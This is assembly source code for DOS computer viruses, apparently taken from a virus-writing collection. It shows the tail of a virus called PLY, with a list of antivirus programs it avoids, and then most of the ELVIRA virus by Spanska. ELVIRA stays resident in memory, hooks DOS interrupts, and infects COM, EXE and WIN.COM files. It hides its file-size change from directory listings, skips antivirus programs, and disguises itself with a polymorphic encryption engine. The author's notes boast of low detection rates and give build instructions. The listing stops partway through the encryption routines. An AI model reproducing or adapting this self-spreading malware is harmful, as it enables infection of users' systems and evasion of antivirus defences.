int21_simula proc near ; Simulate interrupt 21h segcs ; Code segment as source segment int 21h nop ret endp db int01_off db entry_point: jmp file_specifi file_header db poly_buffer table_begin db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db table_end: db _ncdtree db dw 00h db db 03h dup(?) 04h,'AVP.' 08h,'AVPLITE.' 06h,'AVPVE.' 04h,'BAIT' 06h,'EICAR.' 07h,'EMM386.' 07h,'F-PROT.' 06h,'FV386.' 05h,'FV86.' 05h,'MSAV.' 09h,'MVTOOL10.' 05h,'SCAN.' 07h,'TBSCAN.' 05h,'TBAV.' 08h,'TBCHECK.' 08h,'TBCLEAN.' 07h,'TBDISK.' 09h,'TBDRIVER.' 07h,'TBFILE.' 09h,'TBGENSIG.' 06h,'TBKEY.' 06h,'TBLOG.' 06h,'TBMEM.' 08h,'TBSETUP.' 08h,'TBSCANX.' 07h,'TBUTIL.' 09h,'VALIDATE.' 08h,'VIRSTOP.' 05h,'VIRUS' 05h,'VPIC.' 06h,'VSAFE.' 00h 00h,00h '\NCDTREE',00h ; Polymorphic buffer ; AntiViral Toolkit Pro ; AVPLite ; AVP Virus Encyclopedia ; Bait file ; EICAR-ANTIVIRUS-TEST-FILE ; Microsoft expanded memory manage... ; F-PROT dw 00h code_begin '*.VXE',00h ; File specification 0ah dup(?),00h,0fff0h,? 00h ? ; Offset of interrupt 01h ; Return!

; Microsoft Anti-Virus ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; McAfee ViruScan Thunderbyte virus detector Thunderbyte menu TbCheck, Resident integrity checker Thunderbyte clean utility TbDisk, Disk guard TbDriver, TBAV TSR utilities TbFile, software guard TbGenSig, signature file compiler TbKey TbLog, TBAV automatic log utility TbMem, Memory guard Thunderbyte software setup TbScanX resident virus scanner TbUtil VALIDATE VIRSTOP Bait file Picture file viewer VSafe

db

db poly_blocks code_end: dta: db file_attr file_time file_date filesize filename data_end:

'PLY' db

; Name of the virus (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))

db dw dw dd db

15h dup(?) ? ? ? ? 0dh dup(?)

; ; ; ; ;

Used by DOS for find next-process File attribute File time File date Filesize ; Filename

end code_begin ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PLY_5175.ASM]ÄÄ

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ELVIRA virus by Spanska ³ ³ Called Spanska.4250 by AV people ³ ³ This is my fourth virus ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ********************************************************************* This virus is dedicated to a girl with black hairs and green eyes, a so lovely vampyre haunting Paris nights. - Greets to my friend VicodinES, Roadkill and all 29A guys (next time, don't fuck the cyberbar computers with your viruses! The day after, i couldn't send a mail to my girl. And for the next meeting, i will try to get up for the night rendez-vous in the Gran Via McDonald :) - French virus coders, where are you? I feel alone... ******************************contact me at el_gato@rocketmail.com***

At the time it was released (September 97), the heuristic detection on 100 infected bait files was: - TBSCAN 7.07 0/100 - TBSCANW 7.06 5/100 - FPROT 2.26 2/100 - AVP 3.0 (1.08) 0/100 - FINDVIRUS 7.69 0/100 - DRWEB 20/100 generation zero size: 4297 bytes virus size: 4250 bytes compile it with TASM /m2 and TLINK /t Properties: TSR/runtime COM/EXE semi-stealth polymorphic Signature: "k" and seconds = 30 No infection of some AV or command.com Disables stealth routine in case of archiver execution Immediately infects win.com (so it can infect all DOS programs under W3.1 or W95). Graphical payload with 3 messages in french, english and spanish (Star-Wars like effect, see extracted routine in elvira-g.com) Slow poly (just 365 possibilities because i'm an idiot) About the poly routine: As you can see, the poly engine is a very simple routine. Each instruction on the decryptor is set to a fixed size block (what i call "mutation" in the source. There are 14 different blocks. For each of these blocks, i have a stock of something like 10 similar ones that perform the same operation, but with different manner (see end of virus; for exemple, i have 12 ways to get the delta offset in 23 bytes). This lame engine has some advantages. 1/ It's very easy and quick to code. 2/ You can add very easily new blocks in the stock, for example to make new undetectable strains. 3/ You can have a great strain variability, just limited by your imagination (think all the possible manners to replace a "mov ax, bx" or a "call XX"). Of course, there are some problems. 1/ Mutation start always at same offset. 2/ You sometimes have to "fill the holes" in blocks (with nops for example). 3/ Mutation stocks are big (in this virus, 2000-2500 bytes). segment

code

assume ds:code, ss:code, cs:code, es:code org 100h start: db 0E9h, 2Ch, 00 signature db "k"

;jmp start_virus ;signature

;******************FAKE HOST*************************** mov dx, offset message ;* mov ah, 09h ;* int 21h ;* mov ax,4c00h ;* int 21h ;* message db "------Fake host execution-----$" ;* ;****************************************************** start_virus: mutation0: db 0B8h, 38h, 1 db 0B9h, 0Eh, 0 call $+3 ;delta: mov bx, sp mov dx, ss:[bx] sub dx, ax mov bp, dx add ss:[bx], cx ret clc mutation1: push es push ds push cs push cs pop es pop ds db 14 dup (90h) mutation2: db 0EBh, 0Eh nop nop nop mutation3: baise_flag_cryptage: stosb nop nop nop nop nop mutation4: ret nop nop nop nop ; ;----------------------decrypting routine-------------------------

;mov ax, offset delta ;mov cx, offset mutation1-delta

;jmp decrypte

; decrypte: mutation5: mov cx, fin_cryptage-debut_cryptage nop nop nop mutation6: lea si, [bp+offset debut_cryptage] nop nop nop nop nop nop mutation7: mov di, si nop nop mutation8: mov dl, cs:[bp+offset clef] nop nop nop nop nop mutation9: xor_loop: lodsb nop nop nop nop nop mutation10: xor al, dl nop nop nop nop nop nop nop nop mutation11: call baise_flag_cryptage db 90h, 90h, 90h, 90h, 90h db 90h, 90h, 90h, 90h mutation12: dec cx nop nop nop nop

mutation13: cmp cx, 0 nop nop nop mutation14: jne xor_loop db 90h, 90h, 90h db 90h, 90h

debut_cryptage:

;end of polymorphic decryptor

;***************** save original es, ds ******************* pop ds pop es push es push ds ;************* test if virus is already resident ****************** mov int cmp jne jmp ax, 6969h 21h bx, 6969h va_resident deja_installe

;is my handler here? ;if yes, bx = 6969h ;no => go resident ;yes => stop

;********************* go TSR *************************** va_resident: push 4a00h pop ax mov bx,0ffffh int 21h

;is there some free memory? ;return bx = memory - max size

sub bx,((endvirus-start_virus+0fh)/10h)*2+1 ;substract what we need ;now bx=wanted paragraphs push 4a00h pop ax int 21h ;return es = free block segment push 4800h pop ax mov bx,((endvirus-start_virus+0fh)/10h)*2 int 21h dec ax mov es,ax inc ax mov byte ptr es:[0],'Z' mov cx, 8 mov word ptr es:[1],cx mov mov lea mov xor mov cx, ds, si, es, di, cx, cs cx [bp+offset start_virus] ax di endvirus-start_virus ;set memory

;return ax = free segment

;es points on the ;new MCB ;mark it as the last one ;owner = dos

;copy virus in memory

rep movsb push ax ;********** install my interruption 21 ************************ installe: ;------ 1) get the old interruption vector push 3521h pop ax int 21h pop ds mov ds:[offset ip_21-offset start_virus], bx mov ds:[offset cs_21-offset start_virus], es ;------ 2) put my own vector mov dx, [offset nouvelle_int_21-offset start_virus] push 2522h pop ax dec ax ;avoid flag M int 21h ;------ 3) Am i WIN.COM? mov word ptr ax, cs:[104h] cmp ax, 0E1Fh jne i_am_not_win mov word ptr ax, cs:[106h] cmp ax, 0E807h je i_am_win i_am_not_win: call infecte_win i_am_win: jmp deja_installe ;******************** my interruption 21 ***************************** nouvelle_int_21: cmp byte ptr cs:[stealth_non-start_virus], 0FFh je saute_dir_stealth xor ah, 55h cmp ah, 44h je dir_stealth cmp ah, 47h je dir_stealth xor ah, 55h saute_dir_stealth: xor ax, 5555h cmp ax, 1E55h jne suite xor ax, 5555h jmp infecte suite: xor ax, 5555h cmp ax, 6969h jne vieille_int_21 ;archiver: no stealth ;bytes 4 and 5 of WIN.COM de W95

;return bx=offset, es=segment ;save offset ;save segment

;bytes 6 and 7 of WIN.COM de W95

;infect win.com

;dir? ;dir?

;avoid flag L ;program execution? ;no => continue ;yes => infect program

;residency test? ;no => let's continue with old int

xchg ax, bx iret

;yes => put 6969h in bx ;and return to program

;***************** old interruption 21 ************************* vieille_int_21: db 0EAh ip_21 dw ? cs_21 dw ? iret

;EAh=JMP FAR ;offset old int ;segment old int

;****************** directory stealth ******************************** dir_stealth: xor ah, 55h pushf push cs call vieille_int_21 or al, al jnz exit_fcb

;simulation of an int 21h, so push flags ;and segment ;call old int 21h ;if al=0 all is OK ;if al<>0 stop stealth

push ax push bx push es push 5100h ;get current psp pop ax int 21h ;return segment psp in bx, offset in dx mov es, bx ;now es = segment psp cmp bx, es:[16h] ;come from DOS? jnz exit_fcb2 ;no => stop stealth mov bx, dx ;bx= psp offset mov al, [bx] ;extended fcb? push ax ;save marker of extended fcb push 2F00h ;get current dta pop ax int 21h ;return in es:bx dta position pop ax ;get back fcb marker inc al ;FFh+1=0, so if extended z=0 jnz no_fix ;no extended add bx, 7 ;extended: offset is 7 bytes more no_fix: mov al, es:[bx+17h] ;time in al and al, 00011111b ;just look at seconds xor al, 00001111b ;seconds = 30? jne exit_fcb2 ;no => stop stealth cmp word ptr es:[bx+1fh], 0 ;prog<65000? jne soustraction ;no => stealth it cmp word ptr es:[bx+1dh], 500+endvirus-start_virus ;prog<virus size+500? jb exit_fcb2 ;yes => no stealth soustraction: sub word ptr es:[bx+1dh], endvirus-start_virus ;substract virus size sbb word ptr es:[bx+1fh], 0 exit_fcb2: pop es pop bx pop ax exit_fcb: iret ;********************* INFECTION *************************************** infecte: pushf

push push push push push push push push

ax bx cx dx si di es ds

;---- 1) do not infect an anti-virus mov si, dx mov di, offset av_liste-start_virus cherche_extension: lodsb cmp al, "." jnz cherche_extension lodsw mov cs:[f_ext-start_virus], ax lodsb mov cs:[f_ext-start_virus+2], al cherche_debut: dec si dec si lodsb cmp al, "\" jne cherche_debut mov cs:[f_name-start_virus], ds mov cs:[f_name-start_virus+2], si push cs pop es lodsw mov cx, 13 repne scasw jne av_ok jmp redonne_la_main av_ok: ;ds:dx = offset program name ;in di, offset AV list ;find extension

;put extension in memory

;find start of program name

;put segment/offset of program name ;in memory

;scasw uses es:di ;so exchange segments ;get 2 first letters ;12 AV names to compare + COMMAND.COM ;compare ;it's an AV => do not infect

mov byte ptr cs:[stealth_non-start_virus], 0 mov cx, 5 repne scasw jne zip_ok mov byte ptr cs:[stealth_non-start_virus], 0FFh zip_ok: ;----- 2) open file and read header mov ds, cs:[f_name-start_virus] mov dx, cs:[f_name-start_virus+2] push 4300h pop ax int 21h mov byte ptr cs:[f_attrib-start_virus], al xor cx, cx push 4301h

;switch to zero ;5 archivers ;test names ;it's an archiver

;file name in ;ds:dx for attribs ;get attribs in al

;attribs in memory

;attribs to zero

pop ax int 21h mov int jnc jmp ax, 03d02h 21h cont redonne_la_main_attributs ;open file in read/write

;problem? do not infect

cont: xchg ax, bx mov word ptr cs:[f_handle-start_virus], bx push cs push cs pop es pop ds push 5700h pop ax int 21h mov cs:[f_time-start_virus], cx mov cs:[f_date-start_virus], dx mov mov mov int ax, 3F00h cx, 1ch dx, offset exehead-start_virus 21h

;handle in bx

;all segments point ;to virus code

;get time/date

;in memory

;read file ;1Ch first bytes ;in their buffer

;---- 3) is it an exe or a com? cmp jne cmp jne jmp ds:[f_ext-start_virus], "XE" compare_suite byte ptr ds:[f_ext-start_virus+2], "E" compare_suite infecte_exe

compare_suite: cmp ds:[f_ext-start_virus], "OC" jne pas_bonne_ext cmp byte ptr ds:[f_ext-start_virus+2], "M" je infecte_com pas_bonne_ext: jmp ferme_et_redonne_la_main_sans_infection ;---- 4) COM infection infecte_com: cmp byte ptr ds:[exehead-start_virus+3], "k" jz pas_bonne_ext mov si, offset exehead-offset start_virus mov di, offset contenu-offset start_virus movsw movsw mov ax, 4202h push ax pop ax xor cx, cx xor dx, dx int 21h

;already infected? ;yes => do not infect ;transfert 4 bytes ;from buffer to new location

;pointer at the end of file ;return size in ax

cmp ax, 56000 jb verif_trop_petit jmp ferme_et_redonne_la_main_sans_infection verif_trop_petit: cmp ax, 500 ja ecriture_com jmp ferme_et_redonne_la_main_sans_infection ecriture_com: sub ax, 3 push ax CALL POLY_DEPUIS_RESIDENT push 4000h pop ax xor dx, dx mov cx, debut_cryptage-start_virus int 21h push 4000h pop ax mov dx, offset heap-start_virus mov cx, endvirus-debut_cryptage int 21h mov di, offset exehead-offset start_virus mov al, 0E9h stosb pop ax stosw mov al, "k" stosb mov ax, 4200h push ax pop ax xor cx, cx xor dx, dx int 21h push 4000h pop ax mov cx, 4 mov dx, offset exehead-start_virus int 21h jmp ferme_et_redonne_la_main ;----- 5) EXE infection infecte_exe: cmp byte ptr ds:[exehead-start_virus+18h], 40h je exe_pas_bon cmp byte ptr ds:[exehead-start_virus+12h], "k" je exe_pas_bon mov ax, word ptr ds:[exehead-start_virus] add ah, al cmp ah,0A7h je exe_bon exe_pas_bon: jmp ferme_et_redonne_la_main_sans_infection

;no infection if ;.com is > 56000

;or < 500

;size-3 (cause JMP at start) ;save corrected size

;write decryptor

;write encrypted body

;adjust buffer ;with a jump

;then corrected size ;then signature ;pointer at file start

;overwrite 4 first bytes ;with JMP+signature

;windows file? ;yes => stop ;already infected? ;yes => stop ;good MZ header? ;add M+Z ;avoid flag Z

exe_bon: ;save header values mov di, mov ax, stosw mov ax, stosw mov ax, stosw mov ax, stosw offset vIP-offset start_virus word ptr cs:[exehead-start_virus+14h] word ptr cs:[exehead-start_virus+16h] word ptr cs:[exehead-start_virus+0Eh] word ptr cs:[exehead-start_virus+10h]

mov ax, 4202h push ax pop ax xor cx, cx xor dx, dx int 21h push ax push dx ; calculate new CS:IP push ax mov ax, mov cl, shl ax, mov cx, pop ax sub ax, sbb dx, mov cl, shl dx, mov cl, push ax shr ax, add dx, shl ax, pop cx sub cx,

;pointer at file end ;return size in dx:ax

;save size

word ptr cs:[exehead-start_virus+08h] 4 cl ax cx 0 0Ch cl 4 cl ax cl ax ptr cs:[exehead-start_virus+14h], cx ptr cs:[exehead-start_virus+16h], dx ptr cs:[exehead-start_virus+0Eh], dx ptr cs:[exehead-start_virus+10h], 0FFFEh ;new CS:IP values ;avoid flag K ;new SS:SP values

mov word mov word inc dx mov word mov word

; calculate new size pop dx pop ax push ax add ax, adc dx, mov cl, shl dx, mov cl, shr ax, add ax, inc ax

endvirus-start_virus 0 7 cl 9 cl dx

mov pop add and mov

word ptr cs:[exehead-start_virus+04h], ax ax ax, endvirus-start_virus ah, 1 word ptr cs:[exehead-start_virus+02h], ax ;write signature ;pointer at file end

mov word ptr cs:[exehead-start_virus+12h], "k" mov ax, 4202h push ax pop ax xor cx, cx xor dx, dx int 21h CALL POLY_DEPUIS_RESIDENT push 4000h pop ax xor dx, dx mov cx, debut_cryptage-start_virus int 21h push 4000h pop ax mov dx, offset heap-start_virus mov cx, endvirus-debut_cryptage int 21h mov ax, 4200h push ax pop ax xor cx, cx xor dx, dx int 21h push 4000h pop ax mov cx, 1ch mov dx, offset exehead-start_virus int 21h jmp ferme_et_redonne_la_main ;----- 6) close and return to program ferme_et_redonne_la_main_sans_infection: mov cx, cs:[f_time-start_virus] mov dx, cs:[f_date-start_virus] jmp time_date ferme_et_redonne_la_main: mov cx, cs:[f_time-start_virus] mov dx, cs:[f_date-start_virus] and cl, 11100000b xor cl, 00001111b time_date: push 5701h pop ax

;write decryptor

;write encrypted body

;pointer at file start

;overwrite exe header

;get time/date from memory

;get time/date from memory

;change seconds to 30 ;as an infection marker

;change time/date ;avoid flag F

int 21h mov ax, 3e00h int 21h redonne_la_main_attributs: mov ds, cs:[f_name-start_virus] mov dx, cs:[f_name-start_virus+2] xor ch, ch mov byte ptr cl, cs:[f_attrib-start_virus] push 4301h pop ax int 21h redonne_la_main: pop ds pop es pop di pop si pop dx pop cx pop bx pop ax popf jmp vieille_int_21 ;after infection, continue with normal int ;file name in ;ds:dx for attribs ;close file

;set back attribs

;****** if program is already resident, or after going TSR ********* deja_installe: pop ds pop es

;get original segments

;******************* bomb or not bomb? ********************************** bombe_ou_pas: mov ah, 2Ch int 21h cmp cl, 30d jne com_ou_exe cmp dh, 15d ja com_ou_exe jmp bombe

;internal clock: return ch=hour and cl=minute ;are we at 30'? ;no => terminate ;yes => test seconds ;if seconds > 15 we finish ;if seconds < 15 the bomb explodes! (1/240)

;************* terminate a com or an exe? **************** com_ou_exe: cmp byte ptr cs:0, 0CDh je redonne_main_com ;------ 1) terminate an exe mov add add cli add mov mov sti ax, es ax, 10h word ptr cs:[bp+vCS], ax ax, word ptr cs:[bp+vSS] ss, ax sp, word ptr cs:[bp+vSP]

;a COM always have an INT 20h at offset 0

call annuler_registres db 0EAh contenu: vIP dw 9090h vCS dw 9090h vSS dw 9090h vSP dw 9090h ;far jump to the original exe code ;buffer to stock original file info ;EXE: stock ip, cs, ss, sp ;COM: stock les 5 premiers octets

;----- 2) terminate a com redonne_main_com: mov cx, word ptr [bp+offset contenu] mov cs:[100h], cx mov cx, word ptr [bp+offset contenu+2] mov cs:[102h], cx mov di, 101h dec di push di call annuler_registres ret ;----- all registers to zero annuler_registres: xor ax, ax xor bx, bx xor cx, cx xor dx, dx xor di, di xor si, si xor bp, bp ret ;********************************************************************** ;*************** infect win.com in runtime mode *********************** ;********************************************************************** infecte_win: push ds push es push cs push cs pop ds pop es mov lea mov int jnc jmp cx, 0007h dx, cs:[bp+offset file_win] ax, 4e00h 21h suite_win fin_win ;all attribs ;ds:dx= file name (win.com) ;find file

;transfer 4 first bytes ;to file start in memory ;avoid flag O

;put 100h into stack for the RET ;avoid flag B

suite_win: push 4300h pop ax int 21h mov byte ptr cs:[bp+f_attrib], al

;attribs in memory

xor cx, cx push 4301h pop ax int 21h mov ax, 3D02h lea dx, cs:[bp+offset file_win] int 21h jc remise_en_etat2 xchg ax, bx mov word ptr cs:[bp+f_handle], bx push 5700h pop ax int 21h mov word ptr cs:[bp+f_time], cx mov word ptr cs:[bp+f_date], dx mov cx, 4 mov ax, 3F00h lea dx, cs:[bp+offset exehead] int 21h jc remise_en_etat

;attribs to zero

;open file ;to file name

;handle in bx ;and in memory ;get time/date

;in memory

;4 bytes to read ;read file ;buffer

cmp byte ptr cs:[bp+offset exehead+3], "k" jne continue_inf_win remise_en_etat: mov ah, 3Eh int 21h remise_en_etat2: mov cl, byte ptr cs:[bp+offset f_attrib] lea dx, [bp+offset file_win] push 4301h pop ax int 21h jmp fin_win continue_inf_win: lea si, cs:[bp+offset contenu] lea di, cs:[bp+offset win4octets] movsw movsw lea si, cs:[bp+offset exehead] lea di, cs:[bp+offset contenu] movsw movsw

;already infected? ;no => continue

;close file

;attribs in cl ;change attribs ;avoid flag F

;4 first bytes ;in a temp buffer

;---------pointer to end of disk file (return size in dx:ax)--------mov ax, 4202h push ax pop ax xor cx, cx xor dx, dx int 21h sub ax, 3 push ax ;size-3 (cause JMP at start) ;remember size

CALL POLY_DEPUIS_RUNTIME

;poly, but from runtime routine

push 4000h ;write decryptor pop ax lea dx, cs:[bp+offset start_virus] mov cx, debut_cryptage-start_virus int 21h push 4000h ;write encrypted body pop ax lea dx, cs:[bp+offset heap] mov cx, endvirus-debut_cryptage int 21h lea di, [bp+offset exehead] mov al, 0E9h stosb pop ax stosw mov al, "k" stosb mov ax, 4200h push ax pop ax xor cx, cx xor dx, dx int 21h push 4000h pop ax mov cx, 4 lea dx, [bp+offset exehead] int 21h mov cx, cs:[bp+f_time] mov dx, cs:[bp+f_date] and cl, 11100000b xor cl, 00001111b push 5701h pop ax int 21h mov ah, 3Eh int 21h ;adjust buffer ;with a jump

;and with size-3 ;and then signature ;pointer at file start

;overwrite 4 first bytes

;get time/date

;seconds to 30 ;as infection marker ;change time/date ;avoid flag F

;close file

mov cl, byte ptr cs:[bp+offset f_attrib] lea dx, cs:[bp+offset file_win] push 4301h pop ax int 21h lea si, cs:[bp+offset win4octets] lea di, cs:[bp+offset contenu] movsw movsw fin_win: pop es pop ds

;attribs in cl ;change attribs ;avoid flag F

;get back 4 win.com ;first bytes

ret ;******************************************************* ;******************** BOMB ***************************** ;******************************************************* bombe: largeur equ 255 profondeur equ 40 ;-----------all segments equal to cs------------push cs push cs pop ds pop es terrain: ;--------------------go to VGA mode 13h------------------------------mov ax, 13h int 10h ;------------------set color 1 to black---------------------------mov dx, 3c8h xor al, al out dx, al inc dx mov cx, 6 tout_noir: out dx, al loop tout_noir ;--------------write black message on screen------------------------; 1/ select one of the 3 messages randomly xor dx, dx lea si, [bp+msg_bombe+23] push si pop di mov ax, 3 mov bx, 23*3 call mute_bloc lea si, [bp+offset msg_bombe] mov cx, 5 affiche_message: cmp cx, 4 ;second line is empty je pas_ligne_3 ; 2/ put cursor to good coordinates xor bh, bh mov ah,02h int 10h ; 3/ write one line push cx mov cx, 23

affiche_ligne: lodsb mov bl, 1 mov ah, 0Eh int 10h loop affiche_ligne pop cx pas_ligne_3: add dh, 1 loop affiche_message ;--------------initialize segments----------------------mov ax, 0A000h mov ds, ax mov ax, cs add ah, 32 mov es, ax push es

;data will be on a stock segment far ;away from actual code ;on stack (cf [@@] + bas)

;-------------creation of the table (x,z) NB: y constant-------------;here ds=video es=stock mov xor xor xor cx, si, di, dx, (largeur*profondeur) si di dx ;255*40 coordinates ;start of video screen ;start of stock zone ;end line counter

table: mov bl, cl mov al, 128 sub al, bl stosb inc dx or dl, dl jnz pas_fin_de_ligne add si, 319-largeur pas_fin_de_ligne: movsb mov ax, cx xor al, al xchg ah, al shl al, 1 shl al, 1 inc ax stosw loop table

;X: 0<bl<255 ;center it ;-128<al<128 ;stock X ;now, COLOR ;end of line? ;yes if dl=0 ;so => next video line ;not end of line ;stock COLOR ;Z: 0<ax<40*255 ;0<ah<40 ;0<al<40 ;0<al<80 ;0<al<160 ;1<ax<161 to avoid div by 0 ;stock Z

;-------------------animation of letters----------------------------;here ds=video, es=stock push ds pop es pop ds anime: ;*********************** mov dx,3dah ;*

;es=video now ;ds to stock segment (cf [@@])

VRT:

;* in al,dx ;* test al,8 ;* jnz VRT ;* wait vertical retrace ;* to avoid flicking NoVRT: ;* in al,dx ;* test al,8 ;* jz NoVRT ;* ;*********************** mov cx, largeur*profondeur xor si, si xor di, di dessine: lodsw xchg ax, bx lodsw mov word ptr cs:[bp+offset z], ax cmp ax, (128+4*profondeur) jb ca_sort_pas sub ax, 200 ca_sort_pas: inc ax mov word ptr ds:[si-2], ax ;we will draw 255*40 points ;ds:si=coordinates stock ;es:di=video ;X and color in ax ;now in bx ;Z in ax ;Z into a temp buffer ;point is too far? ;no => OK ;yes => put it at the front ;increment distance ;stock new Z

;----------calculate xx et yy (screen) from x, y, z (3D)------------;optimization using bl as X and color as bh push cx xchg ah, bl xor bl, bl cmp ah, 128 jb suite5 neg ah inc bl suite5: xor al, al xor dx, dx div word ptr cs:[bp+offset z] push ax mov ah, 60 xor al, al xor dx, dx div word ptr cs:[bp+offset z] xchg cx, ax ;save counter ;get X in ah ;bl used to remember sign ;X positive? ;yes => OK ;no => let's positivize it ;and we remember it was negative ;NB: calculations in fixed point mode ;X is in ah, same order than Z ;dx will not fuck my div ;div X by Z ;result is coordinate 2D (XX) ;Y is backside, altitude 60 = ground ;Y is in ah, same order than Z ;i said dx will not fuck my div ;div Y by Z ;result is coordinate 2D (YY)

;-------calculate video offset of points from XX and YY-------------;optimization using cx as YY and XX on stack ;color is in bh, sign in bl pop dx cmp cx, 170 ja pas_plot cmp dx, 156 ja pas_plot push dx mov ax, 320 mul cx pop dx cmp bl, 1 jne pos ;get XX from stack ;too much at the bottom: no plot ;too much on sides: no plot

;XX loves the stack ;screen width ;multiply YY by width ;XX from stack to dx ;X and XX negative?

sub ax, dx jmp suite4 pos: add ax, dx suite4: add ax, (320*30)+160

;yes => substract XX from ax

;non => add XX to ax

;add screen height

;--------calculate color of point (shade effect)-----------------mov di, ax push ax or bh, bh je eteindre mov word ptr bx, cs:[bp+offset z] mov cl, 4 shr bx, cl mov al, 36 sub al, bl jmp pas_eteindre eteindre: xor al, al pas_eteindre: ;ax is video offset of point ;on stack ;black point? ;yes => bypass shading routine ;128<bx<328 ;divide it by 16 ;8<bx<20 ;default B&W colors (31=white,16=black) ;16<al<28

;color black

;--------calculate point size-----------------pop dx cmp dx, 320*100 jb fond cmp dx, 320*151 jb moyen proche: stosb stosb stosb add di, 320-3 stosb stosb stosb jmp pas_plot moyen: stosb fond: stosb pas_plot: pop cx dec cx je suite9 jmp dessine suite9: jmp anime ;get back counter ;one more point ;end of screen? ;no => next point ;get point offset ;above line 100? ;yes => little point (far) ;above line 153? ;yes => middle point ;other case => big point (near)

;big = 2 lines of 3 pixels

;middle = 2 pixels ;little = 1 pixel

;yes => next screen

;-----------memory zones used for graphic effect-----------msg_bombe db " ELVIRA ! "

db " Black and White Girl " db " from Paris " db "You make me feel alive." db "Pars. Reviens. Respire." db " Puis repars. " db " J'aime ton mouvement. " db " Bruja con ojos verdes " db " Eres un grito de vida," db " un canto de libertad. " z dw ? ;************ memory zones used by virus******************** win4octets db 90h, 90h, 90h, 90h f_ext db 0EEh, 0EEh, 0EEh f_attrib db 0AAh f_name dd ? f_time dw ? f_date dw ? f_handle dw ? exehead db 1Ch dup(0aah) av_liste db "TBVIAVNAVSFIF-FVIVDRSCGUCO" zip_liste db "PKARRALHBA" stealth_non db 0 file_win db "C:\WINDOWS\WIN.COM", 0 copyright db " (c) Spanska 97" ;**************************************************** ;********** STUPID MUTATION ENGINE ****************** ;**************************************************** poly_depuis_runtime: push ax push bx push cx push dx push es push ds push bp jmp overwrite poly_depuis_resident: push push push push push push push ax bx cx dx es ds bp ;adjust bp value to use from TSR

mov bp, offset start_virus neg bp

;-----random mutation of decryptor instructions and replacement of code----overwrite: lea si, [bp+_mutation0] lea di, [bp+mutation0]

;stock of possible mutations ;offset of mutation in decryptor

mov ax, 12 mov bx, 23 call mute_bloc lea si, [bp+_mutation1] lea di, [bp+mutation1] mov ax, 10 mov bx, 20 call mute_bloc lea si, [bp+_mutation2] lea di, [bp+mutation2] mov ax, 10 mov bx, 5 call mute_bloc lea si, [bp+_mutation3] lea di, [bp+mutation3] mov ax, 10 mov bx, 6 call mute_bloc lea si, [bp+_mutation4] lea di, [bp+mutation4] mov ax, 8 mov bx, 5 call mute_bloc lea si, [bp+_mutation5] lea di, [bp+mutation5] mov ax, 9 mov bx, 6 call mute_bloc lea si, [bp+_mutation6] lea di, [bp+mutation6] mov ax, 8 mov bx, 10 call mute_bloc lea si, [bp+_mutation7] lea di, [bp+mutation7] mov ax, 9 mov bx, 4 call mute_bloc lea si, [bp+_mutation8] lea di, [bp+mutation8] mov ax, 7 mov bx, 10 call mute_bloc lea si, [bp+_mutation9] lea di, [bp+mutation9] mov ax, 10 mov bx, 6 call mute_bloc mov ax, 100 call aleatoire cmp ax, 20 ja evite_suite jmp cryptage_xor

;number of possibilities ;byte number of this mutation ;random select one possibility

;20% chances for a XOR encryption

evite_suite: cmp ax, 40 ;20% jb cryptage_add cmp ax, 55 ;15% jb cryptage_rol cmp ax, 70 ;15% jb cryptage_inc cmp ax, 85 ;15% jb cryptage_not ;15% chances for

chances for a ADD/SUB encryption chances for a ROL/ROR encryption chances for a INC/DEC encryption chances for a NOT encryption a NEG encryption

cryptage_neg: mov byte ptr cs:[bp+type_cryptage], 5 lea si, [bp+_mutation10sixte] lea di, [bp+mutation10] mov ax, 4 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_not: mov byte ptr cs:[bp+type_cryptage], 4 lea si, [bp+_mutation10quinte] lea di, [bp+mutation10] mov ax, 4 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_inc: mov byte ptr cs:[bp+type_cryptage], 3 lea si, [bp+_mutation10quart] lea di, [bp+mutation10] mov ax, 5 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_rol: mov byte ptr cs:[bp+type_cryptage], 2 lea si, [bp+_mutation10ter] lea di, [bp+mutation10] mov ax, 4 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_add: mov byte ptr cs:[bp+type_cryptage], 1 lea si, [bp+_mutation10bis] lea di, [bp+mutation10] mov ax, 5 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_xor: mov byte ptr cs:[bp+type_cryptage], 0 lea si, [bp+_mutation10] lea di, [bp+mutation10] mov ax, 8 mov bx, 10 call mute_bloc

evite_autres_cryptages: lea si, [bp+_mutation11] lea di, [bp+mutation11] mov ax, 6 mov bx, 12 call mute_bloc lea si, [bp+_mutation12] lea di, [bp+mutation12] mov ax, 11 mov bx, 5 call mute_bloc lea si, [bp+_mutation13] lea di, [bp+mutation13] mov ax, 9 mov bx, 6 call mute_bloc lea si, [bp+_mutation14] lea di, [bp+mutation14] mov ax, 6 mov bx, 7 call mute_bloc ;---------------- new random encryption key from clock --------------mov ah, 2Ch int 21h mov cs:[bp+offset clef], dl ;------------- encrypt virus body in the heap ----------------------------lea si, [bp+offset debut_cryptage] lea di, [bp+offset heap] mov cx, fin_cryptage - debut_cryptage mov al, byte ptr cs:[bp+type_cryptage] cmp al, 0 je xor_crypte cmp al, 1 je sub_crypte cmp al, 2 je ror_crypte cmp al, 3 je dec_crypte cmp al, 4 je not_crypte neg_crypte: lodsb neg al stosb loop neg_crypte jmp evite_autres_loops not_crypte: lodsb not al stosb loop not_crypte jmp evite_autres_loops

